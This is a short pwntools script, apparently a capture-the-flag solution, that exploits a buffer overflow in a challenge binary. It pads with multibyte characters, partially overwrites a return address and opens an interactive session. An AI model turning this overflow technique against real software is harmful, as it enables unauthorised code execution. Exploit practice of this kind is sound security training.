from pwn import *
name = "../chal/chal"
file = ELF(name)
context.terminal = ["kitty"]
script = """
b *main+245
c
"""
if args.HOST or args.PORT or args.REMOTE:
p = remote(args.HOST or "localhost", args.PORT or "5000")
elif args.GDB:
p = gdb.debug(name, gdbscript=script)
else:
p = process(name)
payload = "ΰ".encode() * (0x1020 // 6)
payload += b"A" * (0x1020 % 6 + 7)
payload += p16(0xa4c2)
payload += p64(0x4012)[:-1]
p.sendline(payload)
p.interactive()